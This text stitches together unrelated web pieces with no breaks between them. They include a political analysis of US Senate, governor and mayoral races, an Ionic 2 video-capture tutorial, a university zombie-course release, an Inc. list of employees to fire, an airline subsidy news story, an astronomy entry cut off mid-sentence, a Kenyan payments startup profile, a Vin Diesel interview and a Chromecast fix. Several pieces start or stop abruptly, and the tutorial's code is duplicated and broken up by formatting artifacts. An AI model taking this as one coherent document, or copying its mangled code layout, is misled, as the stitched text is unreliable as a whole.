If you take a longer, more structural view, though, the situation is less rosy for the Democrats in the Senate. That’s because the Senate gives equal weight to states, not to population. To explain, let’s give each party two Senate seats for its “strong” states, and split the two Senate seats between the parties for the 12 swing states. How does this shake out? Using these presidential preferences as a guide, Republicans would have 46 seats in the strong states and another 12 in swing states. That’s 58 seats, or just two short of a filibuster-proof majority. The Democrats, by contrast, would have 30 seats in strong states and 12 in swing states, for just 42 seats total, dooming them to long-term minority status.
While incumbency can certainly keep a state’s weaker party in a Senate seat, retirements and deaths in office eventually give the state’s dominant party a good shot at taking that seat back. And given the geographical structure of the Senate, this favors the GOP.
Governors
The biggest surprise on this list may be the outlook for gubernatorial elections. Here, Republicans have reason for optimism.
Historically, gubernatorial elections have tended to be up for grabs between the parties. Statewide electorates are sufficiently eclectic to encourage candidates in both parties to run toward the center, expanding their bases. But the pattern of results is changing, and for an unexpected reason.
For obscure reasons, 36 states hold their gubernatorial contests during midterm cycles. This hasn’t seemed to matter much in the past. But in recent elections, the types of voters who cast ballots in midterm elections has diverged significantly from those that do in presidential cycles. Midterm electorates tend to be smaller, whiter, older and more Republican; presidential electorates tend to be larger, more demographically diverse, and more Democratic.
This pattern helped Republican gubernatorial candidates in 2010. That year, the GOP won governorships in such bluish states as Maine, Michigan, New Mexico and Wisconsin. But it proved to be an even bigger help in 2014, another GOP wave year. On the eve of the 2014 election, Governing’s final handicapping of the gubernatorial seats included an unusually large field of 12 tossup races. In a neutral environment, one would expect these races to go roughly half to one party and half to the other. Instead, Republican candidates won eight of those 12 races, plus another contest in Maryland that had been rated lean Democratic. Highly vulnerable Republican incumbents, such as Sam Brownback in Kansas, Scott Walker in Wisconsin, Rick Scott in Florida and Paul LePage in Maine, also won new terms, buoyed by the GOP-friendly electorate.
Currently, the breakdown of the gubernatorial ranks is 31 Republicans, 18 Democrats and one independent. Historically, the number of Republican governors has only been that high on rare occasions, so it’s likely that the GOP number will fall somewhat in the coming years, especially after the 2018 election, when a number of two-term Republican governors will be term-limited out, creating competitive open seats. Still, on balance, it’s going to be a tough challenge for Democrats to take back governorships when so many of them are contested during midterm election cycles.
Mayors
As we’ve noted before, the GOP is having an increasingly difficult time winning mayoral races in big cities. Of the nation’s most populous cities, only a few have Republican mayors. They include three city-county hybrids where suburban voters can play an outsized role (Indianapolis, Jacksonville, Fla.; and Miami), and a few Sun Belt cities (Albuquerque, N.M.; Fort Worth, Texas; Oklahoma City and San Diego). Gone, apparently, are the days when a Republican like Rudy Giuliani could be the mayor of New York or Richard Riordan could be the mayor of Los Angeles.
Here, as with the U.S. House, geography is destiny. Cities have been magnets for younger, more diverse populations that tend to be socially liberal. This makes the Republican Party, with its national image of social conservatism, a tough sell. Indeed, such mayors as Bill DeBlasio of New York, Ed Murray of Seattle and Bill Peduto of Pittsburgh have been pursuing agendas that are unapologetically progressive.
Democratic Mayor Bill Peduto of Pittsburgh (David Kidd)
The clearest example is the spread of minimum-wage hikes. Already, Los Angeles, San Francisco and Seattle have set themselves on a course to raise the minimum wage to $15. Chicago’s is set to rise to $13. By contrast, President Obama got nowhere in Congress with his longstanding efforts to institute a more modest raise to $10.10.
The minimum-wage debate highlights a key consequence of the parties’ varying holds on the levers of power: When stymied at one level, you can try another. Just as Democratic mayors are sidestepping GOP opposition to minimum-wage hikes in Congress, Republican governors are trying to block what they don’t like from Obama’s Democratic administration, such as elements of the Affordable Care Act or action on climate change.
Whether such combat is a boon for federalism -- or a recipe for conflict between the branches -- is in the eye of the beholder. Either way, the multipolar skirmishing between the two parties may well be with us for many years to come.Hi Friends,
Hope you are all well. This is one the most requested posts on this site. It’s pretty much simple to capture video in your Ionic 2 app, save it on your phone and play it back using a couple of plugins.
Let’s begin.
A video screencast of this post.
The complete code for this post is available here.
Scaffold out a new application using the ionic-cli.
We are going to use the MediaCapture plugin to capture video using the device camera. To install the plugin use the below command.
ionic plugin add cordova-plugin-media-capture 1 ionic plugin add cordova - plugin - media - capture
Now open up app.module.ts and add the MediaCapture component in providers as shown below.
import { NgModule, ErrorHandler } from '@angular/core'; import { IonicApp, IonicModule, IonicErrorHandler } from 'ionic-angular'; import { MyApp } from './app.component'; import { HomePage } from '../pages/home/home'; import { MediaCapture } from 'ionic-native'; @NgModule({ declarations: [ MyApp, HomePage ], imports: [ IonicModule.forRoot(MyApp) ], bootstrap: [IonicApp], entryComponents: [ MyApp, HomePage ], providers: [{provide: ErrorHandler, useClass: IonicErrorHandler}, MediaCapture] }) export class AppModule {} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import { NgModule, ErrorHandler } from '@angular/core' ; import { IonicApp, IonicModule, IonicErrorHandler } from 'ionic-angular' ; import { MyApp } from './app.component' ; import { HomePage } from '../pages/home/home' ; import { MediaCapture } from 'ionic-native' ; @ NgModule ( { declarations : [ MyApp, HomePage ], imports : [ IonicModule. forRoot ( MyApp ) ], bootstrap : [ IonicApp ], entryComponents : [ MyApp, HomePage ], providers : [ { provide : ErrorHandler, useClass : IonicErrorHandler }, MediaCapture ] } ) export class AppModule { }
Open up home.html. Let’s add a button to start recording. Add the below content inbetween ion-content tags.
<button ion-button (click)="startrecording()">Start</button> 1 < button ion - button ( click ) = "startrecording()" > Start < / button >
Now open up home.ts file and write the code as shown below.
import { Component } from '@angular/core'; import { NavController } from 'ionic-angular'; import { MediaCapture } from 'ionic-native'; @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { constructor(public navCtrl: NavController) { } startrecording() { MediaCapture.captureVideo((videodata) => { alert(JSON.stringify(videodata)); }) } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import { Component } from '@angular/core' ; import { NavController } from 'ionic-angular' ; import { MediaCapture } from 'ionic-native' ; @ Component ( { selector : 'page-home', templateUrl : 'home.html' } ) export class HomePage { constructor ( public navCtrl : NavController ) { } startrecording ( ) { MediaCapture. captureVideo ( ( videodata ) = > { alert ( JSON. stringify ( videodata ) ) ; } ) } }
Now we could simply click on a button and record video using our app. This will get stored on the phone storage and is persistent.
Now to play this video in our app, we will make use of the Camera plugin. To install the plugin use the below command.
ionic plugin add cordova-plugin-camera 1 ionic plugin add cordova - plugin - camera
Once again open up app.module.ts and modify it as shown below.
import { NgModule, ErrorHandler } from '@angular/core'; import { IonicApp, IonicModule, IonicErrorHandler } from 'ionic-angular'; import { MyApp } from './app.component'; import { HomePage } from '../pages/home/home'; import { MediaCapture, Camera } from 'ionic-native'; @NgModule({ declarations: [ MyApp, HomePage ], imports: [ IonicModule.forRoot(MyApp) ], bootstrap: [IonicApp], entryComponents: [ MyApp, HomePage ], providers: [{provide: ErrorHandler, useClass: IonicErrorHandler}, MediaCapture, Camera] }) export class AppModule {} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import { NgModule, ErrorHandler } from '@angular/core' ; import { IonicApp, IonicModule, IonicErrorHandler } from 'ionic-angular' ; import { MyApp } from './app.component' ; import { HomePage } from '../pages/home/home' ; import { MediaCapture, Camera } from 'ionic-native' ; @ NgModule ( { declarations : [ MyApp, HomePage ], imports : [ IonicModule. forRoot ( MyApp ) ], bootstrap : [ IonicApp ], entryComponents : [ MyApp, HomePage ], providers : [ { provide : ErrorHandler, useClass : IonicErrorHandler }, MediaCapture, Camera ] } ) export class AppModule { }
Open up home.html and modify it as shown below.
<ion-header> <ion-navbar> <ion-title> Ionic Blank </ion-title> </ion-navbar> </ion-header> <ion-content padding> <button ion-button (click)="startrecording()">Start</button> <button ion-button (click)="selectvideo()">Select</button> <video #myvideo height="300" width="300" controls></video> </ion-content> 1 2 3 4 5 6 7 8 9 10 11 12 13 < ion - header > < ion - navbar > < ion - title > Ionic Blank < / ion - title > < / ion - navbar > < / ion - header > < ion - content padding > < button ion - button ( click ) = "startrecording()" > Start < / button > < button ion - button ( click ) = "selectvideo()" > Select < / button > < video #myvideo height="300" width="300" controls></video> < / ion - content >
Our video is going to be played in the video element. So let’s wire it up in home.ts as shown below.
import { Component, ViewChild } from '@angular/core'; import { NavController } from 'ionic-angular'; import { MediaCapture, Camera } from 'ionic-native'; @Component({ selector: 'page-home', templateUrl: 'home.html' }) export class HomePage { @ViewChild('myvideo') myVideo: any; constructor(public navCtrl: NavController) { } startrecording() { MediaCapture.captureVideo((videodata) => { alert(JSON.stringify(videodata)); }) } selectvideo() { let video = this.myVideo.nativeElement; var options = { sourceType: 2, mediaType: 1 }; Camera.getPicture(options).then((data) => { video.src = data; video.play(); }) } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import { Component, ViewChild } from '@angular/core' ; import { NavController } from 'ionic-angular' ; import { MediaCapture, Camera } from 'ionic-native' ; @ Component ( { selector : 'page-home', templateUrl : 'home.html' } ) export class HomePage { @ ViewChild ('myvideo' ) myVideo : any ; constructor ( public navCtrl : NavController ) { } startrecording ( ) { MediaCapture. captureVideo ( ( videodata ) = > { alert ( JSON. stringify ( videodata ) ) ; } ) } selectvideo ( ) { let video = this. myVideo. nativeElement ; var options = { sourceType : 2, mediaType : 1 } ; Camera. getPicture ( options ). then ( ( data ) = > { video. src = data ; video. play ( ) ; } ) } }
Run the app in your device. Since we are using a couple of cordova plugins, it won’t run on a browser. If everything goes fine you would see a screen with a couple of buttons. Record a video. Click the select button and select the video you just recorded and it will play automatically in the app.
Please watch the video once as I feel I have explained it a bit better in the video. If you found this helpful, kindly share it with someone and help them too.
Thanks for reading guys. Peace..Home
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New Course Explores Use of Zombies in Pop Culture
September 7, 2010
Contact: University Relations
Phone: 410.837.5739
Grendel did it. So did Frankenstein, Dracula, Cujo, and the Golem. Eventually, all great literary and cinematic monsters leap from the page or screen into popular culture. And from there, it's just a small step into the college classroom.
This fall, the University of Baltimore is rolling out its new pop culture minor with a course on zombies. The course's instructor, Arnold T. Blumberg, M.A. '96, D.C.D. '04, visiting professor in UB's School of Communication Design and co-author of Zombiemania: 80 Movies to Die For, literally wrote the book on the subject. It's one of only a handful of courses like it in the country.
The zombie—a creature who starts life as a normal human being, but through one process or another becomes "undead" and then wreaks havoc on the living—is used again and again in film, TV, print media of all kinds, video games, and even in popular music (the infamous "Thriller" video) to convey a basic loss of control and ability to reason with something that is basically indifferent, yet extremely motivated. The zombie, as it appears in modern Western culture, has become allegorical for an unthinking, unfeeling way of living and relating to others, and a bellwether of complete social collapse. At the same time, the zombie is unaware of the damage it is causing, because it is not, well, alive.
"It's part of the American mindset," Blumberg said. "The zombie functions as an allegory for all sorts of things that play out in our country, whether it's the threat of communism during the Cold War or our fears about bioterrorism in 2010. It's relatively easy to connect the zombie to what is happening in culture."
UB's School of Communications Design Director Jonathan Shorr sees zombies in a larger context:
"We know from archaeologists and anthropologists that a society's artifacts tell us a lot about what that culture valued and feared," Shorr said. "Stories about King Arthur, for example—from Thomas Malory's Le Morte d'Arthur in the 15th century, to Prince Valiant in the 1950's, then T.H. White's The Once and Future King in the 1960s and John Boorman's Excalibur in the '80's—aren't stories about 9th century England as much as about the culture of the time in which the work was produced. The same is true with zombies."
"Even major fans of zombies—and they're out there, by the millions," says Blumberg, "—may not spend time contemplating the underlying meaning of this monster, despite its potency. It takes some close attention to really understand what a given film, book or graphic novel is saying about the zombie—and what zombies are saying about the culture. That's what we'll be getting into this fall."
Blumberg, curator of Geppi's Entertainment Museum in Baltimore, has done extensive research into the genre, and the course will spend some time looking at the history and legacy of this particular "brand" of monster, from the recent 28 Days Later, to George Romero's acclaimed Night of the Living Dead and its sequels, to the first commercial film that featured a zombie, 1932's White Zombie, with Bela Lugosi. The course also will consider the zombie in literature and folklore, as well as the (pseudo) science that is occasionally brought in to prove the existence of zombies.
"We'll have fun with it, but we'll also give it a serious look in different contexts, like that of American progress," Blumberg said. "To the zombie, our progress doesn't matter at all. They just keep coming after us, usually at a pretty slow pace, but nonetheless we can't stop them even though we have the weapons and a lock on the door. They're relentlessness, and the fact that they're our own family and friends turning on us, says something profound about our society."
The University of Baltimore is a member of the University System of Maryland and comprises the School of Law, the Yale Gordon College of Arts and Sciences, the College of Public Affairs and the Merrick School of Business.
(Still image on home page taken from Night of the Living Dead.)This post is in partnership with Inc., which offers useful advice, resources, and insights to entrepreneurs and business owners. The article below was originally published at Inc.com.
Some months ago, Apple and Microsoft each parted ways with a high-profile senior executives: iOS software chief Scott Forstall and Windows president Steven Sinofsky.
The moves were just weeks apart and the stories were strangely similar: two remarkably effective and talented executives who were simply unmanageable. They were so chronically abrasive and divisive that they were more trouble than they were worth.
Of course there’s more than one side to every story. And while we may not be privy to all the specifics, one thing’s for sure. Those decisions were some of the toughest ones the CEOs ever had to make. After all, talent like that doesn’t grow on trees. Nevertheless, it had to be done. They had to go.
It takes all kinds to run a company but a few bad apples can definitely spoil organizational effectiveness in a hurry. And these days, companies just can’t afford to keep those kinds of people around. The longer you wait, the more damage they do.
Over the years I’ve worked with just about every type of employee you can think of and, in my experience, there are more or less seven kinds of people you simply have to get rid of, no ifs ands or buts, and sooner rather than later.
1. They’re a Troublemaker. With all of our issues and dysfunctions, I sometimes wonder how anything gets done at all. Still, we manage the best we can. And when employees create more problems than they’re worth, when the damage they do to the organization weighs more heavily than their achievements, then it’s time to cut them loose.
2. They Overpromise and Underdeliver. Some people have such overly inflated self-images that they either think they can do anything or crave the attention they get by making big boastful promises. But when their egos consistently write checks their capabilities can’t cash, that’s a real problem that’s not likely to be resolvable without a good shrink.
3. They Act Out With Customers. I don’t care if you have a small business or work at a Fortune 500 company, customers are hard to gain and easy to lose. The one thing you don’t need is an employee who works with customers and somehow doesn’t get that business is about winning and keeping customers, not him and his bad attitude.
4. They Can’t or Won’t Do the Job. You hire and pay people to do a job. Your job is to be clear about what that entails and give them the tools and training they need to get the job done. Their job is then to do it. If they either can’t or won’t after a few chances, then you’ve probably given them one chance too many.
5. They Flake. Some people look the part but, when push comes to shove, you can’t count on them to get the job done or even to show up on a regular basis. Whatever the specifics, you can never tell when they’re going to flake and you just can’t trust them. Life is too short to have employees like that.
6. They’re Entitled. Some people are more thin-skinned, litigious, and entitled than they have any right to be. Half their mind is on the job and the other half is just waiting for someone to slip up so they can whine and complain and maybe even threaten litigation. Don’t give in to that kind of behavior. Cut them loose. They might throw a fit and you might get sued, but they can only do it once, and then you’re rid of them for good.
7. They Ignore the Rules. Whatever the rules of conduct are for your company and its culture, you’ve got to uphold them fairly and consistently across the board. Whether an employee was insubordinate to her boss or a top executive lies about something material on his resume, if it happened and it breaks the rules, you should walk them out the door.
People are always complaining about how stressful their job is but, in my experience, there’s nothing more stressful than having to deal with employees who aren’t cutting it and drag down the whole organization. Quit thinking about it and just get rid of them. You’ll sleep better at night–and so will the rest of your team.
Steve Tobak is a management consultant, an executive coach, and a former senior executive of the technology industry. He’s managing partner of Invisor Consulting, a Silicon Valley-based strategy consulting firm. Contact Tobak; follow him on Facebook,Twitter, or LinkedIn. @SteveTobak
Read More on Inc.com:Big 3 Airlines Say Foreign Competitors Are 'Dumping' Seats In U.S.
Enlarge this image toggle caption Robert Nickelsberg/Getty Images Robert Nickelsberg/Getty Images
Many U.S. passengers who have been wedged into coach-class seats on long flights might welcome more flying options — even if that competition were to come from overseas.
But the chief executives for Delta, United and American airlines say it's not fair if such competition involves big government subsidies given to state-backed carriers.
Persian Gulf carriers, namely Qatar Airways, Emirates Airlines and Etihad Airways, are "dumping airline seats" into the U.S. market and covering market losses with government subsidies, United Airlines CEO Jeff Smisek said Friday at the National Press Club.
The Gulf carriers say the accusations are untrue, and they are not violating any rules.
Smisek, joined by Delta Air Lines CEO Richard Anderson and American Airlines CEO Doug Parker, said subsidized seats on trans-Atlantic flights may help the foreign carriers, but are "quite detrimental to U.S. jobs."
The pilots, flight attendants and other U.S. airline workers in the audience cheered such remarks. Their unions have joined with management to pressure the White House to investigate practices they say violate "Open Skies" agreements that govern international airline competition.
Earlier this month, the Obama administration said it is launching a review of the matter. U.S. airline executives say the Gulf carriers have "flooded" the U.S. market with about 11,000 new daily seats, traveling from this country to Dubai, Doha and Abu Dhabi.
Last week, Qatar Airways said it would launch three new U.S. destinations — Boston, Atlanta and Los Angeles — next year.
Delta's Anderson said the Gulf carriers' surge into U.S. markets is disproportionate to demand, and clearly the result of subsidization.
"The evidence is overwhelming," he said.
But groups representing passengers strongly disagree. They say U.S. carriers have benefited from mergers that did not get tough anti-trust scrutiny; bankruptcy filings that shifted pension obligations to the Pension Benefits Guaranty Corp.; and other forms of relief.
"These airlines want to close down the U.S. market to foreign carriers with no regard for consumers or airports in the U.S. that have lost air service and robust competition due to consolidation," said a statement from the Business Travel Coalition.
On Thursday, Etihad, an UAE-based airline, released its own report, saying Delta, American and United have received more than $70 billion in subsidies since 2000, mostly in the form of pension guarantees and creditor protections in bankruptcy.
U.S. carriers say Chapter 11 bankruptcy protections are not a "subsidy" as established by international laws.
If the Obama administration doesn't do more to check the growth of the Gulf carriers in this market, then airlines will seek action from Congress. Anderson said Delta has been a leader in raising objections and will continue to do so.
"We've been at it over two years and we're not going to stop," he said.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2009 February 5
Explanation: Some 3 million light-years distant in nearby spiral galaxy M33, giant stellar nursery NGC 604 is about 1,300 light-years across, or nearly 100 times the size of the Orion Nebula. In fact, among the star forming regions within the Local Group of galaxies, NGC 604 is second in size only to 30 Doradus, also known as the Tarantula Nebula in the Large Magellanic Cloud. This space-age color composite of X-ray data (in blue hues) from the Chandra Observatory, |
the money was the one who paid a fee. But that wasn't going to work for broad merchant adoption -- people would just use cash.
The standard in the payment world is for the one taking the payment to absorb any fees in order to offer the convenience of paying digitally. Kopo Kopo managed to convince Safaricom not only to remove the fee to the customer in these cases, but to have a single fixed fee of 1.5 percent versus a confusing system of tiers. No small feat.
But here's the problem. In the process Kopo Kopo awakened a sleeping giant. Safaricom has since gotten wise to how big of a potential market and how much of a no-brainer extension of M-Pesa a merchant platform is. It's now directly competing with Kopo Kopo, which has 10,000 merchants on its platform and is targeting 100,000 over the next six months.
Dylan Higgins: "I'd love to see Kopo Kopo everywhere and if we had hundreds of millions of dollars, we'd totally do that. But we're a startup in Kenya. We have to deal with the cards we were dealt."
Meanwhile SafariCom is aggressively competing, and going after the bigger fish, while Kopo Kopo struggles to sign up mom and pops one by one. Kopo Kopo is in the uncomfortable position of having educated its biggest competitor how to make Safaricom's competing product better. "We've had to have a philosophy that we are growing the whole pie," Higgins says. "There is some friction around the edges but what it means is we've now proven this is a massive market."
That means Kopo Kopo has to be smarter about acquiring customers and build the best possible, most intuitive and easy to use product it can.
Kopo Kopo is wisely already starting to focus on markets adjacent to Kenya. These markets don't have the same advantage of the ubiquitous M-Pesa but they also don't have the disadvantage of competing with a single dominant carrier that controls most of the country's money like Safaricom. It's hoping that several large carrier-wide partnerships can allow it to go to market with carriers in these countries, not fight against them.
"Investors always ask us why we don't focus on building a big consumer brand," Higgins says. "I'd love to see Kopo Kopo everywhere and if we had hundreds of millions of dollars, we'd totally do that. But we're a startup in Kenya. We have to deal with the cards we were dealt. One of the things we've done right is deciding early on to partner deeply with payment providers as opposed to doing it all ourselves."
Adds Straub, "The real opportunity is to enable carriers to do this themselves. What we've developed inside Kenya can be packaged up and offered up in a platform. We have at least six months lead on everyone else."
The company can't sit on a pile of venture capital, perfecting a product in the abstract and hope it finds a market later on. It has to deeply understand its customer, what they need and how to reach them through a crazy quilt of SEO, third party affiliate networks, street marketing squads, out of work high school kids, and various hired guns who sell a trench coat full of micro-goods and services to these stores.
Higgins and the part of the Kopo Kopo team [photo by Jonathan Kalan]
Higgins has had to train his local staff on what being part of a high-growth tech startup is about. They've spent six months running new experiments every two weeks to try and perfect customer acquisition. Over the process they've gone from signing up 75 to 100 merchants a month to 1,000 merchants a month. That's an exhausting pace of change in a country like Kenya, which has a very different business culture.
One of Higgins' best employees was at wit's end, coming up to him in the middle of all this and saying: "I love working here, but every two weeks my job changes, and it's very hard for me." Higgins kept him at the company by showing the value of constant A/B testing in customer acquisition tactics. Still, those are conversations a CEO in the Valley rarely has to have.
In emerging markets, you don't just compete against incumbents and other startups. You compete against corruption, fraud, terrorism, political systems in constant flux, and the delicate dance between hyper-growth and total instability.
And that's before we even talk about the recent terrorist activities. "It's definitely been a set-back," he says, with astounding understatement. "This is still a society that is emerging and a country that is emerging." In some ways, he describes it as a reality check for the outside world. "There was an artificial halo put around Kenya and this is a reminder the this is still an emerging market with all of its problems."
Adds Straub, "In spite of all the bad, Kenyans don't stop going to work everyday. They go on with their lives. The day to day commerce of Kenya continues."
Over several years traveling between emerging markets, I've seen a lot of ventures trying to solve this micro-payment, cash-only-problem throughout Asia, India, and Central Africa. KopoKopo is one of the more promising, technologically savvy, and now, well-funded ones out there. It's timing and location of picking Kenya just before Safaricom wised up to merchants was either lucky, brilliant or a mix of the two.
But continuing to scale and execute will not be easy. In emerging markets, you don't just compete against incumbents and other startups. You compete against corruption, fraud, terrorism, political systems in constant flux, and the delicate dance between hyper-growth and total instability. You compete against daily life.
While almost incomprehensibly hard, solving digital payments is also the most important thing a entrepreneur could be doing to unlock value in the emerging world. In most countries, even massive ones like Nigeria and Indonesia, payments are a huge challenge that can bedevil any company that tries to pop up or any American concern that seeks to expand there. Even in comparatively sophisticated China, the solutions have included extensive courier networks taking cash-on-delivery for good purchased digitally.
So far, much of the emerging world has grown through sheer force of economics and something the Indians call "Jugaad." For these economies and their entrepreneurs to truly modernize, they need better more modern payment infrastructure.
If Kopo Kopo can help, it will do more than deliver a return to investors. It will help change life in the developing world.
[Images via pritamkabe, wikimedia, and Jonathan Kalan]You haven't really arrived in Hollywood until you've arrived late. Starving artists and young starlets arrive on time. Punctuality, we all agree, is decidedly B-List. Not that anyone wouldn't wait for Vin Diesel. He of the gravel voice and chiseled features, the man who first caught our eyes in Saving Private Ryan and our ears in The Iron Giant and who vaulted into superstardom with roles in The Fast and the Furious and xXx, is A-List enough to take as long as he damn well pleases. He waited five years to unleash upon the world The Chronicles of Riddick, a follow-up to the successful sci-fi film Pitch Black. And if I was going to have to wait an hour for an interview, well, that suits me just fine.
QUESTION: How are you?
VIN DIESEL: Oh my God, I'm shot. I'm shot.
Q: What question have you been asked the most this junket that you're sick of?
VIN: At some press junkets you get questions that you don't want to be asked. For some reason, this press junket, I have been asked wonderful, incredible, intelligent, insightful questions.
Q: Is it true you're really into Dungeons and Dragons?
VIN: No. I never play D&D. For some reason, they thought that I played D&D for 20 years. They thought that I spent years playing Barbarians, Witchunters, The Arcanum. They thought I played D&D back in the '70s when it's just the basic D&D set. They thought I continued to play D&D when it became Advanced Dungeons and Dragons. They thought I played D&D when there were only three books - the "Player's Handbook," the "Monster's Manual" and the "Dungeon Master's Guide." They thought I played D&D as it continued onto the Unearthed Arcanum, Oriental Adventures, Sea Adventures, Wilderness Adventures. THEY thought I played D&D at the time when "Deities and Demigods" was the brand new book. THEY thought I played D&D when I used to get up to a place called The Complete Strategist in New York.
[Mouths: "I'm into D&D a lot."]
"They thought I played D&D as it continued onto the Unearthed Arcanum, Oriental Adventures, Sea Adventures, Wilderness Adventures. THEY thought I played D&D at the time when "Deities and Demigods" was the brand new book. THEY thought I played D&D when I used to get up to a place called The Complete Strategist in New York."
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Q: Did you bring that fantasy element to Riddick?
VIN: Where do you think Elementals come from? From Air Elementals. Of course, the attributes have been augmented a little bit for Dame Judi Dench, but the concept of Elementals came from Dungeons and Dragons. The concept of creating a world of neutrality. We all know that David Twohy is incredibly proficient in the sci-fi world, which I don't know that much about. I'm a fantasy guy. So I brought the fantasy element to the picture, he brought the sci-fi, and it came together. You see that in every aspect of the film. If you watch the film, the very movements and mannerisms and fighting styles and lurching through the air is right out of that.
Q: Why was it important for you to revisit this character?
VIN: 'Cause he's the coolest character I've ever come across!
Q: What makes him so cool?
"I was literally playing Dungeons and Dragons with Judi Dench and Karl Urban at nights after shooting. I will tell you that I was showing her Dungeons and Dragons books and showing her the different properties of Elementals."
VIN: He's an antihero. He's the quintessential antihero. We all know how much I love antiheroes. It takes you 45 minutes in the movie just for Riddick to understand the word "heroism," let alone for anyone to hope that he can be heroic. That's cool. That's real. You can invest in this guy's spiritual growth. He's a guy that embraces that indifference and doesn't care what anybody thinks about it, who wants to be left alone. He's a guy that thinks that anything that happens with the universe has nothing to do with him and he doesn't care. That's kind of cool.
Q: What is your Riddick workout?
VIN: The Riddick workout started before I went up there. I was training with a UFC guy, Ultimate Fighting Championship fighter. I got up there two months early and started training in a fighting style called Kali, which originated in Spain and was then brought to the Philippines by Spanish traders. It's a fighting style that's just now beginning to catch wind. It's a fighting style that calls for ambidextrous, two-handed fighting. And that's what we studied. I went up two months early to learn this fighting style.
Q: Having passed on xXx 2, how much is personally at stake for this franchise to take off?
VIN: I don't see it like that. I see it - like going back to the D&D - this wasn't like creating a movie. This was like creating a universe. I've already won. The idea that I was able to do this from nothing is - I mean, I was literally playing Dungeons and Dragons with Judi Dench and Karl Urban at nights after shooting. I will tell you that I was showing her Dungeons and Dragons books and showing her the different properties of Elementals. Call me crazy.
Q: So you don't feel any pressure to make this film work, with the hype of your career?
VIN: Well, for some reason, I was more nervous at the premiere than I have ever been on any premiere. I was nervous because it was something that I had been working on for five years that is so close, been such a labor of love and that made me anxious for some reason last night. I don't know why I'm more nervous at this than I've ever been. Having said that, the second I finished my first day of shooting with Judi Dench, I won. I had accomplished a real goal. The second I was able, the second the studio greenlit this epic that didn't spawn from a book that was in existence for 50 years, that didn't come from a comic book character, that was completely an original project, I felt like I was satisfied.
Q: Why did you pass on xXx 2?
VIN: I never do sequels in a reactionary way. I don't mean that to be holier than thou. I had to do The Chronicles of Riddick. I waited a year to do it. I didn't do anything for a year, just to make sure everything was right with The Chronicles of Riddick, and just make sure that the cast was right. The script was right. The mythology was right. When I was done doing the first xXx, at the end of production, when I would brush my teeth at times, I would see these two blue eyes staring back at me in the mirror, which was an indication it was time to revisit The Chronicles of Riddick. I didn't have the rights to the wonderful Tolkien books that inspired us all to play D&D. I didn't have the rights to comic book characters. I wanted to create a modern day futuristic mythology, so I dedicated everything to The Chronicles of Riddick.
Q: How did the cut of the film fall short of your original conception?
VIN: Well, thank God I created a company called Tigon Studios, which created the video game where I was able to add 25 minutes of story, so you see what he's been doing on the snow-covered planet for five years. You witness the point in his life where his eyes are transformed and how that happens.
Q: Were there things from the game, then, that you wanted to see in the film?
"He's a guy that thinks that anything that happens with the universe has nothing to do with him and he doesn't care. That's kind of cool."
VIN: There are things that I wanted to see in the film, but thank God for DVD, [where] you can incorporate them into the DVD. The theatrical experience is dictated by so many elements. If it were up to me, it'd be a four-hour movie.
Q: What has the journey been like for you, these last 10 years? What would you say to people aspiring to follow a similar path?
VIN: Well, for anyone that were to ask me advice about it all or to comment on the journey - I started acting at seven years old. It took me 20 years to understand that if I was going to make my dreams a reality, I had to take the reigns. I had to learn something about being productive and being self- - what's the word I'm looking for? Self-sufficient, but I had to be productive at all costs and I had to make product. Because I was going around, telling everyone I was an actor and unless you were coming to a theatrical play I was in, you would never know.
Q: So your short film, Multi-Facial, was a tool?
VIN: The short was an artistic expression that at that point, after that long, I wanted to make movies. And that was the release of that desire, that drive. And something that people don't know is that I wrote Strays a year before I did Multi-Facial. But I couldn't get Strays made because it cost $50,000 and I didn't have the money. So what successful people know, and what I learned was, if you can't do it all, do what you can. So I wrote a short film, a 20-minute short film. I wrote it in five days, and I used the means that I had accessible.
Q: Is the man sitting here different than the man then?
VIN: That's debatable.
Q: Are you considering The Fast and the Furious 3?
VIN: I haven't seen a script. It would be unfair for me to say that I would rule something out without seeing the script.
Q: Is your elephant bracelet for Hannibal? Is it finally happening?
"I wrote Strays a year before I did Multi-Facial. But I couldn't get Strays made because it cost $50,000 and I didn't have the money. So what successful people know, and what I learned was, if you can't do it all, do what you can."
VIN: Why are you saying is it finally happening? Have you heard me talk about that? Okay, well, there you go. Proof of what I was saying before. I can tell you some production people that I'm working with. Did you know that David Franzoni wrote the script? David Franzoni handed in an incredible script, and you know what Franzoni has written? Gladiator and Amistad. Did you know that Sylvaine Dupris, who is Ridley Scott's storyboard artist and storyboarded Gladiator, has been working with me for the last month?
Q: Is there a director?
VIN: You're about to get me in trouble. Did you know that I was planning to do a multi-lingual version of Hannibal the Conqueror?
Q: Multi-lingual?
VIN: First of all, in the ancient times, they weren't all speaking Greek. But Italian obviously, Roman for the Romans, an ancient version of French for the Gauls, an old ancient Latin for Spain, for new Carthaginia, a Carthaginian based language that I may use a Maltese language for. And all that in service of speaking to the fact that Hannibal, one of his greatest attributes was that he was able to amass a polyglot army of all these broken people to fight tyranny at the time.
Q: It must make Riddick preparation seem like child's play.
VIN: Crazy, crazy, crazy.How to fix Google Chromecast audio multicasting only playing on one device
Door: switchboy op: 2016-02-23, 3508 views
If you happen to own multiple Chromecast audio devices you might be pleased to learn that Google added a new feature last December to cast audio to all your Chromecast Audio devices at once. There is however a very annoying bug that causes the music to only play on one device. The official workaround requires you to manually reset the device that is playing music. I’ve found a better solution.
This solution will work if you cast to more than two devices at once. First of all find out which of the devices is currently the only one playing audio. Next stop casting to your group. Next open the Chromecast app and edit your group. Now remove the device from the group. Next start casting media to the group. Finally open your Chromecast app again, edit your group and add the device that was the only one playing audio before. Et voila! All your devices in your Chromecast Audio group should now be playing music!
This solution is much simpler than the one proposed by Google. They tell you to totally reset the device which is the only one currently playing music.
I’ve also found out that when I stop playing music and then stop casting to the group, rather than stop casting while the music was still playing, the chance of this ‘only one device is playing music’ bug occurring is much smaller. Yet it still happens from time to time.
Edit 02-06-2016: It seems that this bug is finally fixed. I personaly haven't had to deal with this for the last two months.
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Fix your TV/monitor HDMI: Force a digital output signal on nVidia drivers
